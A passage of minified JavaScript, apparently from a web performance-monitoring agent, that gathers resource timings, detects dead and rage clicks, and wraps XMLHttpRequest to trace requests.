t.relevance=y.De,t.vcIrrelevanceReason=y.hh,y.gg&&(t.onloadTime=y.gg-Math.round(t.startTime)-qa.dT_.gto()),Aa(y.imageWidth)&&Aa(y.imageHeight)&&(t.imageWidth=y.imageWidth,t.imageHeight=y.imageHeight),Aa(y.he)&&y.he!==y.imageWidth&&(t.imageNaturalWidth=y.he),Aa(y.ge)&&y.ge!==y.imageHeight&&(t.imageNaturalHeight=y.ge),delete ca[t.name]):t.relevance=0}function ta(){return Za}function Ma(t){ka[db(t)]=t}function Ja(t){$a[db(t)]=t}function fa(t,y,Y){return{get:function(){var x=Number(t[Y]);return isNaN(x)?
y:x+y}}}function S(t,y){function Y(wa){wa in t&&(oa[wa]={get:function(){return t[wa]}})}if(0>=y)return t;var x=ka[db(t,y)];if(x)return x;for(var oa={},R=0,O=Cb;R<O.length;R++)x=O[R],oa[x]=fa(t,y,x);y=0;for(R=bd;y<R.length;y++)x=R[y],Y(x);x=Object.create(t,oa);x._dtCl=!0;Ma(x);return x}function va(){var t=[],y=document.getElementsByTagName("iframe");if(!y.length)return t;for(var Y=0;Y<y.length;Y++){var x=y[Y];try{var oa=t,R=oa.concat;var O=void 0,wa=x.contentWindow;b:{for(var Ga=0;Ga<Oa.length;Ga++)if(x===
Oa[Ga]){var Wa=Ga;break b}var Eb=Oa.length;Oa.push(x);"undefined"!==typeof x.src&&(Za[x.src]=Eb);Wa=Eb}if(wa.dT_)var Lb=[];else{x=[];var Nb=wa.performance.getEntriesByType("resource"),ac=Ab.timeOrigin;O=ac?wa.performance.timeOrigin-ac:wa.performance.timing.navigationStart-Ab.timing.navigationStart;O=Math.round(O);for(Ga=0;Ga<Nb.length;Ga++){var rc=S(Nb[Ga],O);I[db(rc)]||(rc.frameId=Wa,x.push(rc))}Lb=x}t=R.call(oa,Lb)}catch(mc){}}return t}function ja(){var t=[],y=Vb.call(Ab,"resource"),Y=nb(),x;if(V.frames&&
V.frames.length){for(var oa=[],R=0;R<V.frames.length;R++)try{var O=V.frames[R];O.dT_&&(null===(x=null===O||void 0===O?void 0:O.location)||void 0===x?0:x.href)&&oa.push(O.location.href)}catch(wa){}x=oa}else x=[];for(oa=0;oa<y.length;oa++){R=y[oa];Y||((O=$a[db(R)])?R=O:Ja(R));if(!(O=I[db(R)]))a:{if(("iframe"===R.initiatorType||"subdocument"===R.initiatorType)&&x.length)for(O=0;O<x.length;O++)if(x[O]===R.name){O=!0;break a}O=!1}O||t.push(R)}return t}function U(t,y){if("text/css"===y.type){var Y=y.href||
"";var x=y.ownerNode;y=x&&x.nodeType&&1===x.nodeType?y.ownerNode:null}else Y=y.src;Y&&y&&(t[Y]=y);return t}function eb(t,y){return y.G!==t&&!y.zg}function L(t,y,Y,x,oa,R){return function(O){var wa=pa;if(!I[db(O)])try{var Ga=O.name,Wa=(O.workerNavigationStart||qa.dT_.gto())+O.startTime,Eb=O.name,Lb;if(!(Lb=-1<Eb.indexOf(qa.dT_.scv("csu"))||-1<Eb.indexOf("ampbf")&&-1<Eb.indexOf("flavor=amp"))){var Nb=Eb.indexOf,ac=qa.dT_.scv("reportUrl");lb&&ac===jb||(jb=ac,lb=qa.dT_.tau(jb));Lb=-1!==Nb.call(Eb,lb)}if(!(Lb||
O.startTime>O.responseEnd||0>O.startTime)&&wa.tpih&&wa.tpih(Ga)){wa=Wa-t;var rc=ca[O.name],mc=O.Rg||Infinity;mc=oa?Infinity:mc;Ga=pa;if(t<=Wa&&Wa<=y+(Ga.syn?1E3:qa.dT_.ncv("rtt"))&&mc>=wa||rc&&rc.G===Number(Y)&&0<rc.De){var Oc;if(Oc=x){var Kc=O.name;Wa=void 0;void 0===Wa&&(Wa=0);rc=-1;x&&(null===Kc||void 0===Kc?0:Kc.indexOf)&&(rc=Kc.indexOf(x,Wa));Oc=-1<rc}Kc=3;oa?Kc=1:Oc&&(Kc=2);O.Yf&&3!==O.Yf||(O.Rg=wa,O.Yf=Kc,O.qg=R,O.actionId=Y)}}}catch(gd){}}}function C(t,y,Y){return La(this,void 0,void 0,function(){var x,
oa,R;return gb(this,function(O){switch(O.label){case 0:q=qa.dT_.aFr(q,eb.bind(null,t)),x=0,oa=q,O.label=1;case 1:if(!(x<oa.length))return[3,4];R=oa[x];return[4,H(R,R.start,y,!1,Y)];case 2:O.J(),R.zg=!0,O.label=3;case 3:return x++,[3,1];case 4:return[2]}})})}function H(t,y,Y,x,oa){var R=t.G,O=t.sg,wa=t.xhrUrl,Ga=t.start;return La(this,void 0,void 0,function(){var Wa,Eb,Lb,Nb;return gb(this,function(ac){switch(ac.label){case 0:return Wa=qa.dT_.lAID(),Eb=R===Wa,Lb=L(Ga,y,R,wa,Eb,O),[4,qa.dT_.fEP(oa,
Lb,void 0,!Y)];case 1:ac.J();if(!x)return[2];Nb=Qb[O];Nb.count--;!Nb.count&&0<=Nb.ad.indexOf(O)&&qa.dT_.sMPS(1);return[2]}})})}function Q(){for(var t=0,y=qa.dT_.oK(Zb);t<y.length;t++){var Y=Zb[Number(y[t])];qa.dT_.ct(Y.ra);Y.kb(!0)}Zb={}}function ia(t,y,Y,x){var oa=Qb[Y];oa||(oa={count:0,ad:[]});oa.count++;oa.ad.push(t);Qb[Y]=oa;q.push({G:t,start:y,sg:Y,xhrUrl:x,zg:!1})}function W(){Qb={};Zb={};q=[];var t=qa.dT_.lAID();ia(t,qa.dT_.lst(),t);qa.dT_.addE("ACTION_ENTERED",la);qa.dT_.addE("ACTION_SENT",
ua)}function la(t){var y=t.detail;t=y.x;var Y=y.i,x=y.a,oa=y.r;-1===qa.dT_.aIOf(D,y.t)&&(y=qa.dT_.lAID(),oa===y&&oa!==Y||ia(Y,x,oa,t))}function ua(t){return La(this,void 0,void 0,function(){function y(ac){return La(this,void 0,void 0,function(){var rc;return gb(this,function(mc){switch(mc.label){case 0:return rc=Array.prototype.concat(va(),ja(),Ba),[4,C(R,!0,rc)];case 1:return mc.J(),[4,H({G:R,sg:Wa,xhrUrl:x,start:O},wa,ac,!0,rc)];case 2:return mc.J(),[2]}})})}var Y,x,oa,R,O,wa,Ga,Wa,Eb,Lb,Nb;return gb(this,
function(ac){switch(ac.label){case 0:Y=t.detail;x=Y.x;oa=Y.t;R=Y.i;O=Y.a;wa=Y.s;Ga=Y.f;Wa=Y.r;(Eb=Y.rt)&&Ja(Eb);if(-1!==qa.dT_.aIOf(D,oa))return[2];Lb=qa.dT_.lAID();return Wa===Lb&&Wa!==R?[2]:Ga?[4,y(Ga)]:[3,2];case 1:return ac.J(),[3,3];case 2:Nb=qa.dT_.st(function(){delete Zb[R];y(Ga)},2E3),Zb[R]={ra:Nb,kb:y},ac.label=3;case 3:return[2]}})})}function Ka(t){var y;if(y="number"===typeof t.qg){var Y;y=0===(null===(Y=Qb[t.qg])||void 0===Y?void 0:Y.count)}return y}function Hb(t){var y=[],Y=0,x=[];for(O in Qb){var oa;
if(oa=qa.dT_.oHOP(Qb,O)){oa=Number(O);var R=Qb[oa];oa=!Zb[oa]&&(!R||!R.count&&0<=R.ad.indexOf(oa))}oa&&x.push.apply(x,Qb[O].ad)}for(;Y<x.length;Y++){var O=Number(x[Y]);R=oa=t[O]||[];var wa=O,Ga=pa;if(!Ga.syn&&Ga.gLVD){var Wa=0;for(wa=Ga.gUI(wa);Wa<wa.length;Wa++){Ga=wa[Wa];for(var Eb=!1,Lb=0,Nb=R;Lb<Nb.length;Lb++){var ac=Nb[Lb];if(!ac.failedResource&&ac.name===Ga.name){ac.failedResource=Ga.failedResource;Eb=!0;break}}Eb||(na(Ga),qa.dT_.apush(R,Ga))}}y.push({resources:oa,actionId:O});delete Qb[O]}return y}
function ib(t){t&&Q();t=qa.dT_.aFr(Array.prototype.concat(va(),ja(),Ba),Ka);var y=qa.dT_.red(Array.prototype.concat(Array.prototype.slice.call(document.scripts),Array.prototype.slice.call(document.styleSheets)),U,{});t=qa.dT_.red(t,function(Y,x){var oa=x.actionId,R=Y[oa];R||(R=[]);var O=y[x.name];if(O){var wa=Number;if(O&&"LINK"===O.nodeName){var Ga=O.media||"all";O="stylesheet"===O.rel&&window.matchMedia(Ga).matches&&!O.disabled}else O=!O.hasAttribute("async")&&!O.hasAttribute("defer")&&"module"!==
O.getAttribute("type");x.isCritical=wa(O)}na(x);R.push(x);Y[oa]=R;I[db(x)]=!0;return Y},{});t=Hb(t);900<Vb.call(Ab,"resource").length&&(ab(),I={},ka={},$a={},Ba=[],ca={});return t}function aa(){var t=pa;t.gSig=ib;t.gFU=ta}var qa="undefined"!==typeof window?window:self,V="undefined"!==typeof window?window:self,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca={},Oa=[],Za={},I={},ka={},Ba=[],$a={},Cb="connectEnd connectStart domainLookupEnd domainLookupStart fetchStart redirectEnd redirectStart requestStart responseEnd responseStart secureConnectionStart startTime workerStart".split(" "),
bd="name duration transferSize decodedBodySize encodedBodySize entryType initiatorType nextHopProtocol serverTiming transferSize".split(" "),Qb={},Zb={},q=[],D="_error_ _ts_ _code_ _debug_ _emu_ _location_ _stack_ _useraction_ _type_ _log_ _rs_ _rv_ _endVisit_ - _t_".split(" ");(function(t){var y,Y,x=V.dT_;if(!x||null===(Y=(y=qa.dT_).ssmbi)||void 0===Y||!Y.call(y,"r",t,!0))return!1;if(V.Sh)return x.re_r=!1;Ua();x.re_r=ba();if(!x.re_r)return!1;W();Za={};Oa=[];ca={};I={};ka={};$a={};Ba=[];za(function(){Ba=
ja()});qa.dT_.addE("VISUALLY_COMPLETE",Z);return!0})(!1)&&aa()})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(ib){S.dT_.addE&&S.dT_.addE("CONFIG_UPDATE",ib)}function La(){(ja=S.dT_.bcv("uxdce"))&&(U=S.dT_.ncv("uxdcw"))}function gb(){(L=S.dT_.aO("deadClickObserver",Ua))&&L.observe(document.documentElement,{childList:!0,attributes:!0,characterData:!0,subtree:!0});L&&(S.dT_.aBPSL(Ea),S.dT_.ael(document,"click",db),H=!0)}function db(){var ib=S.dT_.nw();S.dT_.st(function(){eb<
ib&&(C.push({time:Math.round(ib)}),S.dT_.sMPS(2E3))},U)}function Ea(ib,aa,qa,V){if(0!==C.length){aa=ib.av;qa=C;for(var pa=[],Va=0;Va<qa.length;Va++)pa.push(qa[Va].time.toFixed());aa.call(ib,V,"dC",pa.join(","),!0);C=[]}}function Ua(ib){for(var aa=ib.length;aa--;){var qa=ib[aa].target,V=qa,pa=void 0,Va=V,nb=9;void 0===nb&&(nb=[]);var lb=va.dT_;if(lb=(!(null===(pa=(null===lb||void 0===lb?0:lb.iIO)?lb.iIO:null)||void 0===pa||!pa(Va,nb))||V&&V.nodeType&&1===V.nodeType)&&("string"===typeof V.textContent||
"string"===typeof V.innerText))qa=qa.getBoundingClientRect(),lb=!(0>qa.right||qa.left>(window.innerWidth||document.documentElement.clientWidth)||0>qa.bottom||qa.top>(window.innerHeight||document.documentElement.clientHeight));if(lb){eb=S.dT_.nw();break}}}function Pa(){La();ja&&!H?gb():!ja&&H&&(S.dT_.rBPSL(Ea),S.dT_.rO("deadClickObserver"),S.dT_.rel(document,"click",db,void 0),C=[],H=!1,eb=-1)}function za(){if(Q=S.dT_.bcv("uxrgce")){var ib=S.dT_.scv("uxrgcm").split(";"),aa=ib[1];ia=ab(ib[0]);ab(aa)}}
function ab(ib){ib=ib.split(",");return{aj:Number(ib[0])||100,jj:Number(ib[1])||25,Ji:Number(ib[2])||300,Fi:Number(ib[3])||3}}function ba(ib){return{x:ib.x||ib.clientX,y:ib.y||ib.clientY,timeStamp:S.dT_.nw()}}function Z(){S.dT_.iMD()||(S.dT_.aBPSL(ta),S.dT_.ael(document,"click",na),S.dT_.ael(document,"mousedown",Aa),W=!0)}function Aa(ib){ua=ba(ib)}function na(ib){ib=ba(ib);if(0===Ka.length)Ka.push(ib);else{var aa=Ka[0],qa=Ka[Ka.length-1];if(qa=ib&&qa?ib.timeStamp-qa.timeStamp<=ia.Ji:!1)qa=ia.jj,qa=
Math.abs(aa.x-ib.x)<=qa&&Math.abs(aa.y-ib.y)<=qa;qa&&ib&&ua&&ib.timeStamp-ua.timeStamp<=ia.aj?(Ka.push(ib),Ma()):(Ka.length>=ia.Fi&&Ja(),Ka=[ib])}}function ta(ib,aa,qa,V){if(0!==Hb.length){aa=ib.av;qa=Hb;for(var pa=[],Va=0;Va<qa.length;Va++){var nb=qa[Va];pa.push(nb.bj+"|"+nb.Gi.toFixed()+"|"+nb.duration.toFixed())}aa.call(ib,V,"rC",pa.join(","),!0);Hb=[]}}function Ma(){S.dT_.ct(la);la=S.dT_.st(function(){Ka.length>=ia.Fi&&Ja()},ia.Ji)}function Ja(){var ib=Ka[0];ib={bj:Ka.length,Gi:Math.round(ib.timeStamp),
duration:Math.round(Ka[Ka.length-1].timeStamp-ib.timeStamp)};0<ib.Gi&&0<ib.duration&&(Hb.push(ib),S.dT_.sMPS(2E3));Ka=[]}function fa(){za();Q&&!W?Z():!Q&&W&&(S.dT_.rBPSL(ta),S.dT_.rel(document,"click",na,void 0),S.dT_.rel(document,"mousedown",Aa,void 0),Ka=[],Hb=[],W=!1)}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?window:self,ja,U,eb=-1,L,C=[],H=!1,Q,ia,W=!1,la,ua,Ka=[],Hb=[];(function(){var ib,aa;return va.dT_&&(null===(aa=(ib=S.dT_).smbi)||void 0===aa?void 0:aa.call(ib,
"u"))})()&&(za(),Q&&Z(),ra(fa),La(),ja&&gb(),ra(Pa))})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){if(!ra.hasCache){ra.hasCache=!0;var q=void 0;if("defineProperty"in Object){var D={Me:41};try{Object.defineProperty(D,"Z",{get:function(){return this.Me},set:function(t){this.Me=t}}),D.Z=42,q=42===D.Me}catch(t){q=!1}}else q=!1;ra.cachedVal=q}return!!ra.cachedVal}function La(q,D,t){if(t||2===arguments.length)for(var y=0,Y=D.length,x;y<Y;y++)!x&&y in
D||(x||(x=Array.prototype.slice.call(D,0,y)),x[y]=D[y]);return q.concat(x||Array.prototype.slice.call(D))}function gb(){}function db(q){var D=!1;try{D=!V.dT_.iNF(q)}catch(Y){}if(!D)for(var t=0,y=Ab;t<y.length&&!(D=(D=q.prototype[y[t]])&&!V.dT_.iNF(D));t++);return D?(V.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"lxw",text:"Found a non-native XMLHttpRequest object before initializing! Basic XHR is operating in late mode.",severity:"Warning"}}),!0):!1}function Ea(q){if(!ra()){var D=q.dtProps;
try{a:{var t=D.I,y=D.ba,Y=t.responseXML;if(ca){var x=t.getResponseHeader("Content-Type");if(pa.ActiveXObject&&Y&&!Y.documentElement&&x&&x.match(/[^\/]+\/[^+]+\+xml/)){var oa=new pa.ActiveXObject("Microsoft.XMLDOM");oa.loadXML&&oa.loadXML(t.responseText);var R=oa.parseError;if(R&&0!==R.errorCode||oa.documentElement&&"parsererror"===oa.documentElement.tagName){if(V.dT_.mx())try{V.dT_.mxp(R?R.reason:"",y)}catch(wa){}var O=Y;break a}Y=oa}}O=Y}q.responseXML=O}catch(wa){}O=0;for(t=lb;O<t.length;O++){y=
t[O];try{"responseXML"!==y&&y in D.I&&(q[y]=D.I[y])}catch(wa){}}}}function Ua(q,D){q=q.dtProps.Ea;var t=[];D=D.substring(2);for(var y=0;y<q.length;y++){var Y=q[y];Y[0]===D&&t.push(Y[1])}return t}function Pa(q,D,t){function y(O){function wa(Ga,Wa){try{t?(V.dT_.ec(t.dtProps.ba),t.dtProps.za++):(V.dT_.ec(q.dtProps.ba),q.dtProps.za++,O in{onerror:0,onload:1,onprogress:2}&&Ea(q)),"object"===typeof Wa&&Wa.handleEvent?Za.handleEventCallback(Wa.handleEvent,Wa,Ga):Za.handleEventCallback(Wa,q,Ga)}finally{t?
(t.dtProps.za--,V.dT_.lc(t.dtProps.ba)):(q.dtProps.za--,V.dT_.lc(q.dtProps.ba))}}try{D[O]=function(Ga){var Wa=Array.prototype.slice.call(arguments);if(0<Wa.length){var Eb=ab(Ga,q);V.dT_.fE(Va,function(rc){"undefined"!==typeof Ga[rc]&&(Eb[rc]=Ga[rc])});Wa[0]=Eb}var Lb=q.dtProps;if(V.dT_.mx()&&O in Y)Y[O](Lb.ba);var Nb=Lb[O]||Oa&&q[O];Nb&&wa(Wa,Nb);Nb=0;for(var ac=Ua(q,O);Nb<ac.length;Nb++)wa(Wa,ac[Nb]);ca&&"ontimeout"===O&&V.dT_.st(function(){Lb.uc&&1===Lb.hc&&V.dT_.lx(Lb.ba,void 0,void 0,void 0,"x")},
0)}}catch(Ga){}}for(var Y={onerror:function(){t?V.dT_.mxg("Upload failure",t.dtProps.ba):V.dT_.mxf(q.dtProps.I.status,q.dtProps.I.statusText,q.dtProps.ba)},onabort:V.dT_.mxc,ontimeout:V.dT_.mxt},x=0,oa=nb;x<oa.length;x++){var R=oa[x];try{if(R in D||Oa&&R in q)V.dT_.bcv("raxeh")?y(R):(Ua(q,R).length||q[R])&&y(R)}catch(O){}}}function za(q,D,t){Object.defineProperty(q,D,{enumerable:!0,get:t})}function ab(q,D){var t=q.timeStamp||V.dT_.nw(),y="undefined"===typeof q.eventPhase?2:q.eventPhase,Y=q.stopPropagation||
gb,x=q.stopImmediatePropagation||gb,oa=q.preventDefault||gb,R=q.initEvent||gb;if(ra())try{var O=document.createEvent("Event");O.initEvent(q.type,q.bubbles||!1,q.cancelable||!1);za(O,"target",function(){return D});za(O,"currentTarget",function(){return D});za(O,"srcElement",function(){return D});za(O,"eventPhase",function(){return y});za(O,"timeStamp",function(){return t});za(O,"stopPropagation",function(){return Y});za(O,"stopImmediatePropagation",function(){return x});za(O,"preventDefault",function(){return oa});
za(O,"initEvent",function(){return R});return O}catch(wa){}return{type:q.type,target:D,currentTarget:D,srcElement:D,eventPhase:y,bubbles:q.bubbles||!1,cancelable:q.cancelable||!1,timeStamp:t,stopPropagation:Y,stopImmediatePropagation:x,preventDefault:oa,initEvent:R}}function ba(q,D){try{var t=V.dT_.gPO(q),y=V.dT_.gPO(q.dtProps.I);y||(y=vb.prototype);return!t||!y||"__dtProto"in t[D]?null:t[D]}catch(Y){return null}}function Z(q){return V.dT_.iIO(q,["dtProps"])}function Aa(q){q.UNSENT=0;q.OPENED=1;q.HEADERS_RECEIVED=
2;q.LOADING=3;q.DONE=4}function na(q){if(ra())"upload"===q?Object.defineProperty(pa.XMLHttpRequest.prototype,"upload",{enumerable:!0,configurable:!0,get:function(){if(!this.dtProps.Kc)return vb.prototype.upload;this.dtProps.upload||(this.dtProps.upload=new I(this));return this.dtProps.upload}}):Object.defineProperty(pa.XMLHttpRequest.prototype,q,{enumerable:!0,configurable:!0,get:function(){return this.dtProps.Kc?0<=V.dT_.aIOf(lb,q)?this.dtProps.I[q]:this.dtProps[q]:vb.prototype[q]},set:function(D){this.dtProps.Kc?
this.dtProps[q]=D:vb.prototype[q]=D}});else try{pa.XMLHttpRequest.prototype[q]=void 0}catch(D){}}function ta(q,D){var t=pa.XMLHttpRequest.prototype[q];if(D||V.dT_.iNF(t))pa.XMLHttpRequest.prototype[q]=function(y,Y){function x(){if(Z(this)){"open"!==y||this.dtProps.url||(this.dtProps.url=arguments[1]+"");this.dtProps.I.withCredentials!==this.dtProps.withCredentials&&(this.dtProps.I.withCredentials=this.dtProps.withCredentials);var oa=this.dtProps.I}else oa=this;return Za.XMLHttpRequestCallback(Y,oa,
arguments)}x.__dtProto=!0;return x}(q,vb.prototype[q])}function Ma(){vb=pa.XMLHttpRequest;ca=11>V.dT_.gBI().ie;yb=Zb.ct||clearTimeout;if(pa.XMLHttpRequest&&(pa.XMLHttpRequest=Ba,vb.prototype)){Oa=db(vb);if(Object.create){var q=Object,D=q.create,t=vb.prototype;var y=vb.prototype;if(Object.getOwnPropertyDescriptors)y=Object.getOwnPropertyDescriptors(y);else{for(var Y={},x=0,oa=Object.getOwnPropertyNames(y);x<oa.length;x++){var R=oa[x],O=Object.getOwnPropertyDescriptor(y,R);O&&(Y[R]=O)}y=Y}Ba.prototype=
D.call(q,t,y)}else Ba.prototype.__proto__=V.dT_.gPO(vb.prototype);Ba.prototype.dtProps={Kc:!1};Ba.prototype.dtProps.Kc=!1;Aa(Ba);Aa(Ba.prototype);for(var wa in vb.prototype)if(-1===V.dT_.aIOf(gc,wa))try{-1!==V.dT_.aIOf(Ab,wa)?ta(wa,!0):-1!==V.dT_.aIOf(jb,wa)?na(wa):pa.XMLHttpRequest.prototype[wa]=vb.prototype[wa]}catch(Wa){na(wa)}for(var Ga in vb)if(!(Ga in vb.prototype))try{pa.XMLHttpRequest[Ga]=vb[Ga]}catch(Wa){}try{Ja()}catch(Wa){}}V.dT_.ael(pa,"unload",fa)}function Ja(){if(!V.dT_.bcv("peti")){if(pa.EventTarget)var q=
EventTarget.prototype;q&&q.addEventListener||!pa.XMLHttpRequestEventTarget||(q=V.dT_.gPO(pa.XMLHttpRequestEventTarget.prototype));q&&q.addEventListener||(q=XMLHttpRequest.prototype);if(q&&q.addEventListener){var D=q.addEventListener;q.addEventListener=function(Y,x,oa){if(Z(this))this.dtProps.mf(Y,x,oa);else return Za.AELWrapper(D,this,arguments)};var t=q.removeEventListener;q.removeEventListener=function(Y,x,oa){if(Z(this))this.dtProps.og(Y,x,oa);else return Za.RELWrapper(t,this,arguments)};var y=
q.dispatchEvent;q.dispatchEvent=function(Y){return Z(this)?this.dtProps.Zd(Y):Za.dispatchWrapper(y,this,arguments)}}}}function fa(){pa.XMLHttpRequest=vb;vb=null;ca=!1;yb=void 0;Oa=!1}function S(q,D){return new $a(q,D)}function va(q){return"string"===typeof q}function ja(q){q.ne||(V.dT_.lx(q.G,q.url,!0,void 0,"x"),q.ne=!0)}function U(q){var D=q.G,t=q.url;return Zb.aWF(q.Da,q.context,q.Pa,void 0===D?0:D,void 0===t?"":t,"x")}function eb(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=
arguments[Y];Y=q.G;var x=q.url;try{if(V.dT_.ec(Y),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:Y,url:x})}finally{V.dT_.lc(Y),ja(q)}}}function L(q,D,t){return{get:function(){return t||q[D]},enumerable:!0}}function C(q,D,t,y){return function(){for(var Y=[],x=0;x<arguments.length;x++)Y[x]=arguments[x];try{V.dT_.ec(q.G);var oa=Y[0],R=document.createEvent("Event");R.initEvent(oa.type,oa.bubbles,oa.cancelable);var O=L(oa,"target",y);Object.defineProperties(R,{target:O,currentTarget:O,srcElement:O,
stopPropagation:L(oa,"stopPropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopPropagation.apply(oa,wa);return Event.prototype.stopPropagation.apply(R,wa)}),stopImmediatePropagation:L(oa,"stopImmediatePropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopImmediatePropagation.apply(oa,wa);return Event.prototype.stopImmediatePropagation.apply(R,wa)}),preventDefault:L(oa,"preventDefault",function(){for(var wa=
[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.preventDefault.apply(oa,wa);return Event.prototype.preventDefault.apply(R,wa)}),eventPhase:L(oa,"eventPhase","undefined"===typeof oa.eventPhase?2:void 0),timeStamp:L(oa,"timeStamp",oa.timeStamp||V.dT_.nw()),initEvent:L(oa,"initEvent")});Y[0]=R;if("function"===typeof D)return U({Da:D,context:oa.target,Pa:Y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G)}}}function H(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=arguments[Y];
try{if(V.dT_.ec(q.G),t.readyState===t.DONE&&V.dT_.mx()&&200!==t.status&&(0===t.status?V.dT_.st(V.dT_.mxc.bind(null,q.G),0):V.dT_.mxf(t.status,t.statusText,q.G)),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G),t.readyState===t.DONE&&ja(q)}}}function Q(q,D){try{if("string"===typeof D&&"function"===typeof q[D]){var t=V.dT_.iNF(q[D]);q[D]=S(q[D],{apply:la.bind(null,D,t),get:function(y,Y,x){return"dT_proxy"===Y?!0:Reflect.get(y,Y,x)}})}}catch(y){}}function ia(q,
D){q.filter(ua.bind(null,D)).forEach(Q.bind(null,D))}function W(q,D,t,y,Y){q.G||(q.G=V.dT_.ex("x",void 0,q.url,!1,D));var x=V.dT_.sch({headers:{}},q.url,q.G);Reflect.ownKeys(x.headers).filter(va).forEach(function(oa){t.setRequestHeader(oa,x.headers[oa])});try{return U({Da:D,context:y,Pa:Y,G:q.G,url:q.url})}finally{q.async||ja(q)}}function la(q,D,t,y,Y){if(!V.dT_.iIO(y,22))return U({Da:t,context:y,Pa:Y});var x=y.dtProps,oa=y;x&&(D||Cb)&&(oa=x.target);if(!x)return U({Da:t,context:oa,Pa:Y});switch(D?
t.name:q){case "addEventListener":"function"===typeof Y[1]&&(q=Y[1],q.dT_cb?Y[1]=q.dT_cb:(Y[1]=C(x,q,oa,y),q.dT_cb=Y[1]));break;case "removeEventListener":y=Y[1];if(null===y||void 0===y?0:y.dT_cb)Y[1]=y.dT_cb;break;case "open":return x.G=0,x.ne=!1,x.url=Y[1],x.async=!0===Y[2]||void 0===Y[2],U({Da:t,context:oa,Pa:Y});case "send":return W(x,t,y,oa,Y);case "abort":ja(x)}return U({Da:t,context:oa,Pa:Y,G:x.G,url:x.url})}function ua(q,D){try{var t=q[D];if("function"!==typeof t||t.dT_proxy)return!1}catch(y){return!1}return!0}
function Ka(q){return"constructor"!==q}function Hb(q,D,t){"upload"===D&&V.dT_.mx()&&!t.Tf&&(q.upload.addEventListener("error",function(){V.dT_.mxg("Upload failure",t.G)}),t.Tf=!0);return t.Mc.has(D)?t.Mc.get(D):Reflect.get(q,D)}function ib(q,D,t){try{EventTarget.prototype.addEventListener.call(q,D,t)}catch(y){q.addEventListener(D,t)}}function aa(q){var D={G:0,async:!0,ne:!1,url:"",target:q,xj:!1,Tf:!1,Mc:new Map,toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};
q.dtProps=D;ib(q,"readystatechange",H(D,function(){},q));V.dT_.mx()&&(ib(q,"error",function(){return V.dT_.mxf(q.status,q.statusText,D.G)}),ib(q,"abort",function(){return V.dT_.mxc(D.G)}),ib(q,"timeout",function(){return V.dT_.mxt(D.G)}));return S(q,{get:function(t,y){return Hb(t,y,D)},set:function(t,y,Y,x){try{var oa=Y;switch(y){case "onabort":case "onerror":case "ontimeout":oa=eb(D,Y,t);D.Mc.set(y,Y);break;case "onloadstart":case "onprogress":case "onload":case "onloadend":oa=C(D,Y,t,x);D.Mc.set(y,
Y);break;case "onreadystatechange":oa=H(D,Y,t),D.Mc.set(y,Y)}var R=Reflect.set(t,y,oa)}catch(O){R=!1}return R}})}function qa(){Cb=db(pa.XMLHttpRequest);$a=pa.Proxy;var q=pa.XMLHttpRequest.prototype,D=EventTarget.prototype,t=Reflect.ownKeys(q).filter(va).filter(Ka),y=Reflect.ownKeys(D).filter(va).filter(Ka);pa.XMLHttpRequest=S(pa.XMLHttpRequest,{construct:function(Y,x){ia(t,q);ia(y,D);return aa(Reflect.construct(Y,x))}});ia(t,q);q.constructor=pa.XMLHttpRequest;ia(y,D)}var V="undefined"!==typeof window?
window:self,pa="undefined"!==typeof window?window:self,Va="cancelBubble defaultPrevented eventPhase isTrusted lengthComputable loaded position returnValue timeStamp total totalSize type".split(" "),nb="onabort onerror onload onloadend onloadstart onprogress ontimeout".split(" "),lb="responseText response status statusText responseBody responseStream responseURL responseXML responseType".split(" "),jb=La(La(La([],lb,!0),nb,!0),["onreadystatechange","upload","readyState"],!1),Ab="open send getAllResponseHeaders getResponseHeader setRequestHeader overrideMimeType abort sendAsBinary".split(" "),
gc=["addEventListener","removeEventListener","dispatchEvent"],Vb=La(La(La([],Ab,!0),jb,!0),gc,!0),Ha,yb,vb,ca,Oa=!1,Za=(Ha={},Ha.handleEventCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.callOpen=function(q,D,t){return Zb.aWF(q,D,t)},Ha.send=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getAllResponseHeaders=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getResponseHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.setRequestHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.overrideMimeType=function(q,D,t){return Zb.aWF(q,
D,t)},Ha.RELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.AELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.onreadystatechangeCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchXHRCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.XMLHttpRequestCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.preventDefault=function(q,D,t){return Zb.aWF(q,D,t)},Ha.stopImmediatePropagation=function(q,D,t){return Zb.aWF(q,D,t)},Ha),I=function(){function q(D){var t=
